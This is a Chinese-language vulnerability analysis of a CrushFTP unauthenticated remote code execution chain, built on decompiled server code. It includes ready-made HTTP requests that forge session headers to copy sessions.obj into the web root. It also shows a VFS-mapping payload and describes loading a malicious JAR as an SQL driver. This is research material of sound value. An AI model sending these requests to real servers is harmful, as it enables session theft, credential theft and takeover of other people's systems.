CrushFTP Unauthenticated Remote Code Execution
路由分析
不像传统套件,这里自己实现了协议的解析并做调用,写法比较死板,不够灵活,在crushftp.server.ServerSessionHTTP
可以看到具体的处理过程,代码”依托答辩”,不过漏洞思路值得学习
前台权限绕过
简单来说,原理是因为程序实现存在匿名访问机制,并且可以通过header污染当前会话的参数导致产生了一些意外的操作
在crushftp.server.ServerSessionAJAX#buildPostItem
当中,可以看到会解析每一个header,并将解析到的key,val保存到as2Info这个Properties中,同时这里对put的参数没有任何限制
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| public boolean buildPostItem(Properties request, long http_len_max, Vector headers, String req_id) throws Exception { Properties as2Info = new Properties(); boolean write100Continue = false; int x = 1;s while (x < headers.size()) { String data; String key = data = headers.elementAt(x).toString(); String val = ""; try { val = data.substring(data.indexOf(":") + 1).trim(); key = data.substring(0, data.indexOf(":")).trim().toLowerCase(); } catch (Exception e) { Log.log("HTTP_SERVER", 3, e); } as2Info.put(key, val); ......省略.....
|
我们顺便看看新版本是如何解决这一点的,从processAs2HeaderLine
可以看出,允许设置到as2Info当中值受到了限制
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| public static void processAs2HeaderLine(String key, String val, String data, Properties as2Info) { as2Info.put(key.trim().toLowerCase(), val.trim()); if (data.toLowerCase().startsWith("message-id:")) { String as2Filename = data.substring(data.indexOf(":") + 1).trim(); if ((as2Filename = as2Filename.substring(1)).indexOf("@") >= 0) { as2Filename = as2Filename.substring(0, as2Filename.indexOf("@")); } as2Filename = Common.replace_str(as2Filename, "<", ""); as2Filename = Common.replace_str(as2Filename, ">", ""); as2Info.put("as2Filename", as2Filename); } else if (data.toLowerCase().startsWith("content-type:")) { as2Info.put("contentType", data.substring(data.indexOf(":") + 1).trim()); } else if (data.toLowerCase().startsWith("disposition-notification-options:")) { as2Info.put("signMdn", String.valueOf(data.substring(data.indexOf(":") + 1).trim().indexOf("pkcs7-signature") >= 0)); } }
|
继续往下接下来我们可以看到,在光标处没有做任何的限制,直接将as2Info中的每个键值对添加到了当前会话的user_info属性,因此这里存在一个属性覆盖的问题,接下来我们就需要看看覆盖哪些属性可能存在威胁
关于user_info属性的获取是通过一个封装好的函数来做获取
1 2 3 4 5 6
| public String uiSG(String data) { if (this.user_info.containsKey(data)) { return this.user_info.getProperty(data); } return ""; }
|
同时在此基础上还有一系列类型转换的封装
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| public int uiIG(String data) { try { return Integer.parseInt(this.uiSG(data)); } catch (Exception exception) { return 0; } }
public long uiLG(String data) { try { return Long.parseLong(this.uiSG(data)); } catch (Exception exception) { return 0L; } }
public boolean uiBG(String data) { return this.uiSG(data).toLowerCase().equals("true"); } ......
|
接下来就是寻找污染哪些属性可能造成危害,这里漏洞发现者使用了getUserName
其中csrf默认为true,我们需要传入c2f参数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| public boolean getUserName(Properties request) throws Exception { if (request.getProperty("command", "").equalsIgnoreCase("getUserName")) { String response = "<?xml version=\"1.0\" encoding=\"UTF-8\"?> \r\n"; if (ServerStatus.BG("csrf") && !request.getProperty("c2f", "").equals("")) { String session_id = this.thisSessionHTTP.thisSession.getId(); try { if (!request.getProperty("c2f", "").equalsIgnoreCase(session_id.substring(session_id.length() - 4))) { this.thisSessionHTTP.thisSession.uiVG("failed_commands").addElement("" + new Date().getTime()); response = String.valueOf(response) + "<commandResult><response>FAILURE:Access Denied. (c2f)</response></commandResult>"; return this.writeResponse(response); } } catch (Exception e) { Log.log("HTTP_SERVER", 2, e); this.thisSessionHTTP.thisSession.uiVG("failed_commands").addElement("" + new Date().getTime()); response = String.valueOf(response) + "<loginResult><response>failure</response></loginResult>"; return this.writeResponse(response); } } response = this.thisSessionHTTP.thisSession.uiBG("user_logged_in") && !this.thisSessionHTTP.thisSession.uiSG("user_name").equals("") ? String.valueOf(response) + "<loginResult><response>success</response><username>" + this.thisSessionHTTP.thisSession.uiSG("user_name") + "</username></loginResult>" : String.valueOf(response) + "<loginResult><response>failure</response></loginResult>"; return this.writeResponse(response); } return false; }
|
如果相等则返回登录成功,同时值得注意的是这里会返回user_name
,因此我们可以利用这一点来判断漏洞是否可利用,如果是漏洞版本user_name
就可以通过header覆盖,返回也可以是任意可控字符
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80
| public boolean writeResponse(String response) throws Exception { return this.writeResponse(response, true, 200, true, false, true); }
public boolean writeResponse(String response, boolean json) throws Exception { return this.writeResponse(response, true, 200, true, json, true); }
public boolean writeResponse(String response, boolean log, int code, boolean convertVars, boolean json, boolean log_header) throws Exception { boolean acceptsGZIP = false; return this.writeResponse(response, log, code, convertVars, json, acceptsGZIP, log_header); }
public boolean writeResponse(String response, boolean log, int code, boolean convertVars, boolean json, boolean acceptsGZIP, boolean log_header) throws Exception { if (convertVars) { response = ServerStatus.thisObj.change_vars_to_values(response, this.thisSessionHTTP.thisSession); } this.write_command_http("HTTP/1.1 " + code + " OK", log_header); this.write_command_http("Cache-Control: no-store", log_header); this.write_command_http("Pragma: no-cache", log_header); if (json) { this.write_command_http("Content-Type: application/jsonrequest;charset=utf-8"); } else { this.write_command_http("Content-Type: text/" + (response.indexOf("<?xml") >= 0 ? "xml" : "plain") + ";charset=utf-8"); } if (acceptsGZIP) { this.thisSessionHTTP.write_command_http("Vary: Accept-Encoding"); this.thisSessionHTTP.write_command_http("Content-Encoding: gzip"); this.thisSessionHTTP.write_command_http("Transfer-Encoding: chunked"); this.thisSessionHTTP.write_command_http("Date: " + this.thisSessionHTTP.sdf_rfc1123.format(new Date()), log, true); this.thisSessionHTTP.write_command_http("Server: " + ServerStatus.SG("http_server_header"), log, true); this.thisSessionHTTP.write_command_http("P3P: CP=\"IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT\"", log, true); if (!ServerStatus.SG("Access-Control-Allow-Origin").equals("")) { String origin = this.thisSessionHTTP.headerLookup.getProperty("ORIGIN", ""); int x = 0; while (x < ServerStatus.SG("Access-Control-Allow-Origin").split(",").length) { boolean ok = false; if (origin.equals("")) { ok = true; } else if (ServerStatus.SG("Access-Control-Allow-Origin").split(",")[x].toUpperCase().trim().equalsIgnoreCase(origin.toUpperCase().trim())) { ok = true; } if (ok) { this.write_command_http("Access-Control-Allow-Origin: " + ServerStatus.SG("Access-Control-Allow-Origin").split(",")[x].trim()); } ++x; } this.write_command_http("Access-Control-Allow-Headers: authorization,content-type"); this.write_command_http("Access-Control-Allow-Credentials: true"); this.write_command_http("Access-Control-Allow-Methods: GET,POST,OPTIONS,PUT,PROPFIND,DELETE,MKCOL,MOVE,COPY,HEAD,PROPPATCH,LOCK,UNLOCK,ACL,TR"); } this.write_command_http("", log); ByteArrayOutputStream baos = new ByteArrayOutputStream(); byte[] b = response.getBytes("UTF8"); GZIPOutputStream out = new GZIPOutputStream(baos); ((OutputStream)out).write(b); out.finish(); if (baos.size() > 0) { this.thisSessionHTTP.original_os.write((String.valueOf(Long.toHexString(baos.size())) + "\r\n").getBytes()); baos.writeTo(this.thisSessionHTTP.original_os); this.thisSessionHTTP.original_os.write("\r\n".getBytes()); baos.reset(); } this.thisSessionHTTP.original_os.write("0\r\n\r\n".getBytes()); this.thisSessionHTTP.original_os.flush(); } else { this.thisSessionHTTP.write_standard_headers(log); int len = response.getBytes("UTF8").length + 2; if (len == 2) { len = 0; } this.write_command_http("Content-Length: " + len, log_header); this.write_command_http("", log); if (len > 0) { this.thisSessionHTTP.write_command_http(response, log, convertVars); } } this.thisSessionHTTP.thisSession.drain_log(); return true; }
|
当请求结束,在响应完成之后,在倒数第二行调用了drain_log
方法,这个方法也很有意思
可以看到如果属性当中存在user_log_path_custom
,并且不为空,接下来再结合覆盖其他参数
- user_log_path_custom 中的值为new_loc
- user_log_path 中指定的值为old_loc
- 旧文件将复制到指定的新位置,并删除旧文件
现在我们可以做到任意文件复制以及删除
,但经过测试我们会发现,如果我们读取一些敏感的配置文件到web路径下,访问后再移动回去会破坏掉文件本身的一些完整性
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| public void drain_log() { .....省略..... object = this.uiVG("user_log"); synchronized (object) { if (!this.uiSG("user_log_path_custom").equals("")) { String new_loc = "" + this.user_info.remove("user_log_path_custom"); String old_loc = this.uiSG("user_log_path"); this.uiPUT("user_log_path", new_loc); new File_S(Common.all_but_last(String.valueOf(this.uiSG("user_log_path")) + this.uiSG("user_log_file"))).mkdirs(); if (new File_S(String.valueOf(old_loc) + this.uiSG("user_log_file")).exists() && !new File_S(String.valueOf(old_loc) + this.uiSG("user_log_file")).renameTo(new File_S(String.valueOf(new_loc) + this.uiSG("user_log_file")))) { try { Common.copy(String.valueOf(old_loc) + this.uiSG("user_log_file"), String.valueOf(new_loc) + this.uiSG("user_log_file"), true); } catch (Exception exception) { } new File_S(String.valueOf(old_loc) + this.uiSG("user_log_file")).delete(); } } try { com.crushftp.client.Common.copyStreams(new ByteArrayInputStream(sb.toString().getBytes("UTF8")), new FileOutputStream(new File_S(String.valueOf(this.uiSG("user_log_path")) + this.uiSG("user_log_file")), true), true, true); } catch (FileNotFoundException e) { try { new File_S(Common.all_but_last(String.valueOf(this.uiSG("user_log_path")) + this.uiSG("user_log_file"))).mkdirs(); com.crushftp.client.Common.copyStreams(new ByteArrayInputStream(sb.toString().getBytes("UTF8")), new FileOutputStream(new File_S(String.valueOf(this.uiSG("user_log_path")) + this.uiSG("user_log_file")), true), true, true); } catch (IOException ee) { Log.log("SERVER", 1, ee); } } catch (IOException e) { Log.log("SERVER", 1, e); } } }
|
毕竟是log功能,程序会将请求记录不断写入
而这部分功能则是受add_log
控制,可以看到如果dont_log
为true
,那么就不会记录当前请求
1 2 3 4 5 6 7 8
| public void add_log(String log_data, String short_data, String check_data) { if (this.uiBG("dont_log")) { return; } if (this.logDateFormat == null) { this.logDateFormat = (SimpleDateFormat)ServerStatus.thisObj.logDateFormat.clone(); } .......
|
因此我们不难构造出
1 2 3 4 5 6 7 8 9 10 11 12 13
| POST /WebInterface/function/?command=getUsername&c2f=a4Ga HTTP/1.1 Host: 127.0.0.1:8080 as2-to: X user_name: crushadmin user_log_file: file_to_read user_log_path_custom: WebInterface/ user_log_path: ./ dont_log: true Content-Length: 9 Content-Type: application/x-www-form-urlencoded Cookie: currentAuth=a4Ga; CrushAuth=1702222555460_GEeImKOtIut9bj65EsoOrsDUAYa4Ga;
post=body
|
表面上看来到此漏洞可能已经利用结束了,但实际上还能再更进一步
但继续阅读源码我们会发现,程序在运行过程还会”定期”,将session当中的属性信息保存到sessions.obj文件当中
再来看看它是如何生成的,在crushftp.handlers.SharedSession#flush
中如果属性allow_session_caching_memory
为true
才会执行,默认配置为true
flush的调用在crushftp.handlers.SharedSession#shutdown
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| public static void shutdown() { if (ServerStatus.BG("allow_session_caching_on_exit")) { while (ServerStatus.siVG("user_list").size() > 0) { Properties user_info = (Properties)ServerStatus.siVG("user_list").elementAt(0); SessionCrush thisSession = (SessionCrush)user_info.get("session"); if (thisSession != null) { thisSession.do_kill(null); } else { ServerStatus.thisObj.remove_user(user_info); } ServerStatus.siVG("user_list").remove(user_info); } SharedSession recent_users = SharedSession.find("recent_user_list"); recent_users.put("recent_user_list", ServerStatus.siVG("recent_user_list")); recent_users.put("user_login_num", ServerStatus.siSG("user_login_num")); } shutting_down = true; SharedSession.flush(); }
|
shutdown的调用在crushftp.handlers.ShutdownHandler#run
,可以看到在构造函数当中,为通过Runtime.getRuntime().addShutdownHook(this)
向JVM注册了一个关闭时的Hook动作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| public class ShutdownHandler extends Thread { boolean shutdown = false;
public ShutdownHandler() { Runtime.getRuntime().addShutdownHook(this); }
@Override public synchronized void run() { block6: { if (this.shutdown) break block6; AdminControls.stopLogins(new Properties(), "CONNECT)"); start = System.currentTimeMillis(); if (true) ** GOTO lbl13 do { try { Thread.sleep(1000L); } catch (InterruptedException var3_2) { } if (ServerStatus.siVG("running_tasks").size() <= 0) break; } while (System.currentTimeMillis() - start < ServerStatus.LG("active_jobs_shutdown_wait_secs") * 1000L); SharedSession.shutdown(); ServerStatus.thisObj.statTools.stopDB(); ServerStatus.thisObj.searchTools.stopDB(); } this.shutdown = true; if (ServerStatus.thisObj.loggingProvider1 != null) { ServerStatus.thisObj.loggingProvider1.flushNow(); } if (ServerStatus.thisObj.loggingProvider2 != null) { ServerStatus.thisObj.loggingProvider2.flushNow(); } } }
|
因此保存的条件是重启过服务器…,这个文件的作用相当于是充当了服务器重启时的缓存,因此漏洞利用需要看运气了,这里为了重现漏洞我们重启一下系统生成这个文件
这里我们得到了完整的流程
1 2 3 4 5 6 7 8 9 10 11 12 13
| POST /WebInterface/function/?command=getUsername&c2f=a4Ga HTTP/1.1 Host: 127.0.0.1:8080 as2-to: X user_name: crushadmin user_log_file: sessions.obj user_log_path_custom: WebInterface/ user_log_path: ./ dont_log: true Content-Length: 9 Content-Type: application/x-www-form-urlencoded Cookie: currentAuth=a4Ga; CrushAuth=1702222555460_GEeImKOtIut9bj65EsoOrsDUAYa4Ga;
post=body
|
之后访问/WebInterface/sessions.obj/WebInterface/sessions.obj
即可获取到泄漏的session信息
在这里我们还可以尝试权限维持,可以看到这里存在一个接口可以直接获取到明文密码
1 2 3 4 5 6
| if (command.equalsIgnoreCase("getUser")) { if (AdminControls.checkRole(command, site, this.thisSessionHTTP.thisSession.uiSG("user_ip"))) { return this.writeResponse(AdminControls.buildXML(AdminControls.getUser(request, site, this.thisSessionHTTP.thisSession), "user_items", "OK"), true, 200, false, false, true); } return this.writeResponse("<commandResult><response>FAILURE:Access Denied.</response></commandResult>"); }
|
在AdminControls.getUser
当中,通过username查询到用户信息并返回
在这里比较骚的一点,系统会按照pass掉格式自适应解码,因此我们拿到的密码是明文~~~(Ps:就算不是也无所谓里面都是硬编码)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| public static Object getUser(Properties request, String site, SessionCrush thisSession) { ......省略....... username = thisSession.uiSG("user_name"); ......省略....... VFS uVFS = UserTools.ut.getVFS(request.getProperty("serverGroup"), username); Properties new_user = UserTools.ut.getUser(request.getProperty("serverGroup"), username, false); ......省略....... String pass = new_user.getProperty("password", ""); if (!(pass.startsWith("SHA:") || pass.startsWith("SHA512:") || pass.startsWith("SHA256:") || pass.startsWith("SHA3:") || pass.startsWith("MD5:") || pass.startsWith("CRYPT3:") || pass.startsWith("BCRYPT:") || pass.startsWith("MD5CRYPT:") || pass.startsWith("PBKDF2SHA256:") || pass.startsWith("SHA512CRYPT:") || pass.startsWith("ARGOND:"))) { pass = ServerStatus.thisObj.common_code.decode_pass(pass); new_user.put("password", pass); } else { new_user.put("password", "SHA3:XXXXXXXXXXXXXXXXXXXX"); } if (!new_user.getProperty("userVersion", "").equals("6") && !new_user.getProperty("as2EncryptKeystorePassword", "").equals("")) { new_user.put("as2EncryptKeystorePassword", ServerStatus.thisObj.common_code.encode_pass(new_user.getProperty("as2EncryptKeystorePassword", ""), "DES", "")); new_user.put("as2EncryptKeyPassword", ServerStatus.thisObj.common_code.encode_pass(new_user.getProperty("as2EncryptKeyPassword", ""), "DES", "")); } ......省略.......
|
简单发包做个验证
后台代码执行
在后台设置中,发现可以动态加载 SQL 驱动程序和配置测试,因此只需要能够上传恶意 JAR 文件即可实现RCE
毕竟是FTP一定存在上传的点,但是在上传后发现没有权限
经过查找我们可以发现在后台可以增加虚拟路径和物理路径的映射
顺便抓了个包
1
| command=setUserItem&data_action=replace&serverGroup=extra_vfs&username=crushadmin~Y4Test&user=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%3Cuser+type%3D%22properties%22%3E%3Cusername%3Ecrushadmin~Y4Test%3C%2Fusername%3E%3Cpassword%3E%3C%2Fpassword%3E%3Cmax_logins%3E0%3C%2Fmax_logins%3E%3Croot_dir%3E%2F%3C%2Froot_dir%3E%3C%2Fuser%3E&xmlItem=user&vfs_items=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%0D%0A%3Cvfs_items+type%3D%22vector%22%3E%0D%0A%3Cvfs_items_subitem+type%3D%22properties%22%3E%0D%0A%3Cname%3EY4TMP%3C%2Fname%3E%0D%0A%3Cpath%3E%2F%3C%2Fpath%3E%0D%0A%3Cvfs_item+type%3D%22vector%22%3E%0D%0A%3Cvfs_item_subitem+type%3D%22properties%22%3E%0D%0A%3Ctype%3EDIR%3C%2Ftype%3E%0D%0A%3Curl%3E%3C%2Furl%3E%0D%0A%3C%2Fvfs_item_subitem%3E%0D%0A%3C%2Fvfs_item%3E%0D%0A%3C%2Fvfs_items_subitem%3E%0D%0A%3Cvfs_items_subitem+type%3D%22properties%22%3E%0D%0A%3Cname%3Etmp%3C%2Fname%3E%0D%0A%3Cpath%3E%2FY4TMP%2F%3C%2Fpath%3E%0D%0A%3Cvfs_item+type%3D%22vector%22%3E%0D%0A%3Cvfs_item_subitem+type%3D%22properties%22%3E%0D%0A%3Ctype%3EDIR%3C%2Ftype%3E%0D%0A%3Curl%3EFILE%3A%2F%2FVolumes%2FMacintosh+HD%2Ftmp%2F%3C%2Furl%3E%0D%0A%3C%2Fvfs_item_subitem%3E%0D%0A%3C%2Fvfs_item%3E%0D%0A%3C%2Fvfs_items_subitem%3E%0D%0A%3C%2Fvfs_items%3E&permissions=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%0D%0A%3CVFS+type%3D%22properties%22%3E%0D%0A%3Citem+name%3D%22%2F%22%3E(read)(view)(resume)%3C%2Fitem%3E%0D%0A%3Citem+name%3D%22%2FY4TMP%2F%22%3E(read)(view)(resume)%3C%2Fitem%3E%0D%0A%3Citem+name%3D%22%2FY4TMP%2FTMP%2F%22%3E(read)(write)(view)(delete)(deletedir)(makedir)(rename)(resume)(share)%3C%2Fitem%3E%0D%0A%3C%2FVFS%3E&c2f=kYjk
|
对应以下的参数,按照此模板做修改即可注意替换username(用户名~随意的自定义参数|参考上面的图上面的截图就很容易理解)、c2f参数即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| command: setUserItem data_action: replace serverGroup: extra_vfs username: crushadmin~Y4Test user: <?xml version="1.0" encoding="UTF-8"?><user type="properties"><username>crushadmin~Y4Test</username><password></password><max_logins>0</max_logins><root_dir>/</root_dir></user> xmlItem: user vfs_items: <?xml version="1.0" encoding="UTF-8"?> <vfs_items type="vector"> <vfs_items_subitem type="properties"> <name>Y4TMP</name> <path>/</path> <vfs_item type="vector"> <vfs_item_subitem type="properties"> <type>DIR</type> <url></url> </vfs_item_subitem> </vfs_item> </vfs_items_subitem> <vfs_items_subitem type="properties"> <name>tmp</name> <path>/Y4TMP/</path> <vfs_item type="vector"> <vfs_item_subitem type="properties"> <type>DIR</type> <url>FILE: </vfs_item_subitem> </vfs_item> </vfs_items_subitem> </vfs_items> permissions: <?xml version="1.0" encoding="UTF-8"?> <VFS type="properties"> <item name="/">(read)(view)(resume)</item> <item name="/Y4TMP/">(read)(view)(resume)</item> <item name="/Y4TMP/TMP/">(read)(write)(view)(delete)(deletedir)(makedir)(rename)(resume)(share)</item> </VFS> c2f: kYjk
|
之后在主页上传jar包
抓了个包发现这样非常麻烦,需要两步,第一步相当于初始化,第二步还要计算文件大小拼接(19218是文件大小)
通过阅读源码我发现了一个可替代的步骤,并且更简单,简化我们做自动化利用的步骤
现在既然成功上传了,那就可以控制参数加载我们的恶意SQL驱动程序执行任意命令